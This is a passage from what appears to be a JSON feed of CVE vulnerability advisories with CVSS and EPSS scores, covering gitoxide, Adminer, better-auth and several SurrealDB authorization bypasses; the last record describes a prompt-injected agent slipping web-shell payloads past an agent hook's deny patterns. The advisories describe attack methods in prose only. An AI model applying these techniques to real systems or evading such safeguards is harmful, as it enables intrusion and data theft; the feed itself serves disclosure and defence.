BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq! requires version 2. A malicious remote can send a 12-byte pack header declaring version 3 to panic the client and abort the clone or fetch.","detail":"gitoxide gix-pack before 0.75.0 contains a reachable assertion in BytesToEntriesIter::new_from_header: the pack header decoder accepts version 3, but a release-enabled assert_eq! requires version 2. A malicious remote can send a 12-byte pack header declaring version 3 to panic the client and abort the clone or fetch.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:31.823Z","updatedAt":"2026-10-16T17:27:24.847Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109349","asOf":"2026-10-16T17:27:24.847Z"},"epss":{"probability":0.0027,"percentile":0.19028,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109349&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109349","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109349","type":"primary","publishedAt":"2026-10-12T17:17:31.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109349&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109349, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109347","cveId":"CVE-2026-109347","aliases":[],"kind":"vulnerability","title":"Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements...","summary":"Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements with a UTF-8 byte-order mark. Attackers can attach a database file at a PHP-served path and create a table named with PHP code to execute it as the web server user.","detail":"Adminer before 6.1.1 contains a remote code execution vulnerability that allows authenticated SQLite users to bypass ATTACH and VACUUM INTO restrictions by prefixing statements with a UTF-8 byte-order mark. Attackers can attach a database file at a PHP-served path and create a table named with PHP code to execute it as the web server user.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:31.517Z","updatedAt":"2026-10-16T17:29:07.450Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109347","asOf":"2026-10-16T17:29:07.450Z"},"epss":{"probability":0.00851,"percentile":0.57934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109347&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109347","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109347","type":"primary","publishedAt":"2026-10-12T17:17:31.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109347&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109347, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109346","cveId":"CVE-2026-109346","aliases":[],"kind":"vulnerability","title":"better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id...","summary":"better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id and scope. Attackers can start a device request via /device/code, trick signed-in users into approving the code, then redeem it at /device/token for a live session token.","detail":"better-auth from 1.3.8-beta.3 before 1.7.0-rc.3 contains a UI misrepresentation vulnerability in the deviceAuthorization plugin because GET /device omits the requesting client_id and scope. Attackers can start a device request via /device/code, trick signed-in users into approving the code, then redeem it at /device/token for a live session token.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:31.367Z","updatedAt":"2026-10-26T17:17:13.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109346","asOf":"2026-10-26T17:17:13.120Z"},"epss":{"probability":0.00278,"percentile":0.20064,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109346&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109346","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109346","type":"primary","publishedAt":"2026-10-12T17:17:31.367Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109346&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109346, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109343","cveId":"CVE-2026-109343","aliases":[],"kind":"vulnerability","title":"SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated...","summary":"SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated level covers it. Authenticated namespace, database, or record users can switch to another tenant and read, create, update, or delete rows in tables whose PERMISSIONS allow it, such as PERMISSIONS FULL.","detail":"SurrealDB before 3.3.0 allows cross-tenant access because the SurrealQL USE statement switches a session to any namespace/database without checking that the caller's authenticated level covers it. Authenticated namespace, database, or record users can switch to another tenant and read, create, update, or delete rows in tables whose PERMISSIONS allow it, such as PERMISSIONS FULL.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:30.890Z","updatedAt":"2026-10-13T17:17:26.457Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109343","asOf":"2026-10-13T17:17:26.457Z"},"epss":{"probability":0.00258,"percentile":0.17243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109343&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109343","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109343","type":"primary","publishedAt":"2026-10-12T17:17:30.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109343&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109343, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109341","cveId":"CVE-2026-109341","aliases":[],"kind":"vulnerability","title":"SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON...","summary":"SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON Patch pointers against the unreduced record. Attackers can use PATCH copy or move operations to copy hidden fields into readable destinations, or abuse test mismatch errors as a disclosure oracle.","detail":"SurrealDB before 3.3.0 contains an authorization bypass vulnerability that allows callers with table-level write permission to read SELECT-restricted fields by resolving JSON Patch pointers against the unreduced record. Attackers can use PATCH copy or move operations to copy hidden fields into readable destinations, or abuse test mismatch errors as a disclosure oracle.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:30.550Z","updatedAt":"2026-10-26T17:17:12.990Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109341","asOf":"2026-10-26T17:17:12.990Z"},"epss":{"probability":0.00258,"percentile":0.17322,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109341&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109341","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109341","type":"primary","publishedAt":"2026-10-12T17:17:30.550Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109341&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109341, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109338","cveId":"CVE-2026-109338","aliases":[],"kind":"vulnerability","title":"SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript.","summary":"SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript. Attackers with scripting enabled can read such values via Headers get(), entries(), values(), or getSetCookie(), or return them from fetch() endpoints, aborting the server process.","detail":"SurrealDB before 3.3.0 contains a denial of service vulnerability that allows query-capable users to crash the server by reading non-ASCII header values in embedded JavaScript. Attackers with scripting enabled can read such values via Headers get(), entries(), values(), or getSetCookie(), or return them from fetch() endpoints, aborting the server process.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:30.060Z","updatedAt":"2026-10-13T17:17:26.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109338","asOf":"2026-10-13T17:17:26.220Z"},"epss":{"probability":0.00307,"percentile":0.23236,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109338&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109338","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109338","type":"primary","publishedAt":"2026-10-12T17:17:30.060Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109338&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109338, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109335","cveId":"CVE-2026-109335","aliases":[],"kind":"vulnerability","title":"SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through...","summary":"SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through COMPUTED fields. Attackers can select records whose readable COMPUTED fields derive from hidden fields, or use write RETURN clauses with $before/$after to expose hidden values.","detail":"SurrealDB from 3.0.0 before 3.3.0 contains an information disclosure vulnerability that allows record users to read values hidden by field-level SELECT permissions through COMPUTED fields. Attackers can select records whose readable COMPUTED fields derive from hidden fields, or use write RETURN clauses with $before/$after to expose hidden values.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:29.533Z","updatedAt":"2026-10-13T19:18:32.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109335","asOf":"2026-10-13T19:18:32.723Z"},"epss":{"probability":0.00298,"percentile":0.22303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109335&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109335","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109335","type":"primary","publishedAt":"2026-10-12T17:17:29.533Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109335&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109335, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109334","cveId":"CVE-2026-109334","aliases":[],"kind":"vulnerability","title":"SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing...","summary":"SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing cross-tenant access. An authenticated attacker can set the Surreal-NS/Surreal-DB headers on /sql or call the RPC use method to read, create, modify, and delete rows and read DEFINE PARAM values in another tenant where table PERMISSIONS allow it.","detail":"SurrealDB before 3.3.0 does not check the caller-selected namespace or database against the level at which a namespace- or database-level system user authenticated, allowing cross-tenant access. An authenticated attacker can set the Surreal-NS/Surreal-DB headers on /sql or call the RPC use method to read, create, modify, and delete rows and read DEFINE PARAM values in another tenant where table PERMISSIONS allow it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:29.363Z","updatedAt":"2026-10-13T17:17:26.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109334","asOf":"2026-10-13T17:17:26.103Z"},"epss":{"probability":0.00258,"percentile":0.17243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109334","type":"primary","publishedAt":"2026-10-12T17:17:29.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109333","cveId":"CVE-2026-109333","aliases":[],"kind":"vulnerability","title":"SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by...","summary":"SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by resolving record ids through FETCH. Attackers can switch to a foreign namespace/database and name a known record id in a RETURN … FETCH query to read another tenant's data when table PERMISSIONS allow reads.","detail":"SurrealDB from 3.0.0 before 3.3.0 contains an authorization bypass vulnerability that allows authenticated record users to read records in other namespaces or databases by resolving record ids through FETCH. Attackers can switch to a foreign namespace/database and name a known record id in a RETURN … FETCH query to read another tenant's data when table PERMISSIONS allow reads.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:29.190Z","updatedAt":"2026-10-13T17:17:25.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109333","asOf":"2026-10-13T17:17:25.983Z"},"epss":{"probability":0.00286,"percentile":0.20872,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109333&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109333","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109333","type":"primary","publishedAt":"2026-10-12T17:17:29.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109333&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109333, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109331","cveId":"CVE-2026-109331","aliases":[],"kind":"vulnerability","title":"Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first...","summary":"Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first present candidate field. A prompt-injected agent can place dangerous payloads in fields like Write content or an MCP script parameter beside a benign file_path or command, evading denyPatterns to write web shells or execute scripts.","detail":"Network-AI from 5.14.0 before 5.15.2 contains a security control bypass vulnerability in the ClaudeHookBridge PreToolUse hook, which matches deny patterns only against the first present candidate field. A prompt-injected agent can place dangerous payloads in fields like Write content or an MCP script parameter beside a benign file_path or command, evading denyPatterns to write web shells or execute scripts.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 